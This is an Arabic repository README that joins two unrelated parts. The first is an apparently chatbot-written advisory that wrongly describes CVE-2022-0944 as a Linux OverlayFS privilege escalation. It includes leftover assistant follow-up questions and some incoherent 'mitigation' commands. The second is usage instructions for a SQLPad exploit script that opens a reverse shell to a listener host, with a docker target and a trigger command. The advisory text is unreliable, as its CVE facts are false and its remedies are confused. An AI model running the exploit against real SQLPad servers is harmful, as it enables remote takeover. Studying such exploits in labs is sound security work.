CVE-2022-0944: ثغرة تصعيد الامتيازات في OverlayFS 🛡️

نشرة أمنية ودليل تخفيف لثغرة تصعيد الامتيازات في نواة لينكس ضمن نظام ملفات OverlayFS.

نظرة عامة

CVE-2022-0944 هي ثغرة أمنية في نظام ملفات OverlayFS بنواة لينكس تسمح للمهاجمين المحليين بتصعيد الامتيازات عبر معالجة غير صحيحة لإنشاء الملفات في إعدادات محددة.

التفاصيل الفنية

🚨 التأثير

يمكن لمهاجم محلي:

الحصول على صلاحيات الجذر عبر عمليات ملفات مصممة بعناية
تجاوز قيود الأمان
تعديل ملفات النظام الحساسة
المساس بسلامة النظام بأكمله

🔍 الاكتشاف

1. تحقق من إصدار النواة uname -r

الإصدارات المتأثرة: 5.8 <= kernel < 5.16.12

2. تحقق من استخدام OverlayFS mount | grep overlay

الأنظمة التي تستخدم تركيبات OverlayFS معرضة للخطر

3. تحقق من النشرات الأمنية

بالنسبة لـ Debian/Ubuntu:

grep CVE-2022-0944 /var/log/apt/history.log

# بالنسبة لـ RHEL/CentOS:
rpm -q --changelog kernel | grep CVE-2022-0944

4.🛡️ التخفيف

التصحيحات الرسمية

قم بالتحديث إلى أحد هذه الإصدارات المصححة:

لينكس Kernel 5.16.12 أو أحدث
تصحيحات مرتجعة خاصة بالبائعين

أمر التحديث:

Ubuntu/Debian

sudo apt update && sudo apt upgrade linux-image-$(uname -r)

RHEL/CentOS

sudo yum update kernel

حلول بديلة (إذا لم يكن التصحيح فوريًا)

تقييد استخدام OverlayFS:
  sudo modprobe -r overlay

تنفيذ قيود مساحات الأسماء (namespaces):
# إنشاء مساحة اسم مستخدم غير مميزة unshare -Ur

    # التركيب مع قيود المستخدم
    mount -t overlay -o lowerdir=/lower,upperdir=/upper,workdir=/work overlay /mnt

تطبيق سياسات SELinux/AppArmor: type=AVC msg=audit(1647452829.123:456): user pid=1234 comm="mount" scontext=user_u:user_r:user_t tcontext=system_u:object_r:unlabeled_t denied { mounton }

⚠️ إخلاء مسؤولية هذا المستند مُقدَّم لأغراض إعلامية فقط. على الرغم من بذل جهود لضمان الدقة، لا يوجد أي ضمان. اختبر التصحيحات دائمًا في بيئة تطوير قبل النشر في بيئة الإنتاج.

آخر تحديث: 2023-10-01 | عرض سجل التغييرات

الميزات الرئيسية:

1. تصنيف واضح للثغرة مع شارات أمنية
2. جدول مرجعي سريع للتفاصيل الفنية
3. خطوات قابلة للتنفيذ للاكتشاف والتخفيف
4. أوامر تحديث خاصة بكل بائع
5. أمثلة على سياسات الأمان (SELinux/AppArmor)
6. روابط مرجعية رسمية
7. الامتثال لمعايير الإفصاح عن الثغرات

صيغة README هذه مناسبة لـ:

• فرق الأمان
• مسؤولي الأنظمة
• مهندسي DevOps
• القائمين على صيانة المشاريع مفتوحة المصدر
• قواعد بيانات الثغرات

هل ترغب في أن:

1. أضيف معلومات تصحيح خاصة ببائعين محددين؟
2. أدرج تفاصيل إثبات المفهوم (الاستغلال) بحذر؟
3. أضيف المزيد من نصوص الاكتشاف البرمجية؟
4. أخصص المحتوى لتوزيعة لينكس محددة؟

الاستخدام

usage: main.py [-h] url lhost lport [username] [password]

positional arguments:
  url         URL to SQLPad
  lhost       Listener host address for reverse shell
  lport       Listener port for reverse shell
  username    login username (optional)
  password    login password (optional)

options:
  -h, --help  show this help message and exit

مثال:

# install requirements
pip install -r requirements.txt

# start sqlpad docker container
docker run -p 3000:3000 --name sqlpad -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=admin sqlpad/sqlpad:6.10.0

# trigger exploit
./main.py http://localhost:3000 127.0.0.1 1337 admin admin

إخلاء المسؤولية

يحتوي هذا المستودع على أكواد وأدوات مخصصة حصريًا للأغراض التعليمية، وتحديدًا للاستخدام في دورات الأمن السيبراني وبيئات التعلم. لا يتحمل مؤلف هذا الكود أي مسؤولية عن أي عواقب تنشأ عن استخدام هذا الكود أو إساءة استخدامه أو تعديله. يُقدَّم الكود "كما هو" دون أي ضمان، صريح أو ضمني، بما في ذلك على سبيل المثال لا الحصر الضمانات الضمنية الخاصة بالقابلية للتسويق أو الملاءمة لغرض معين.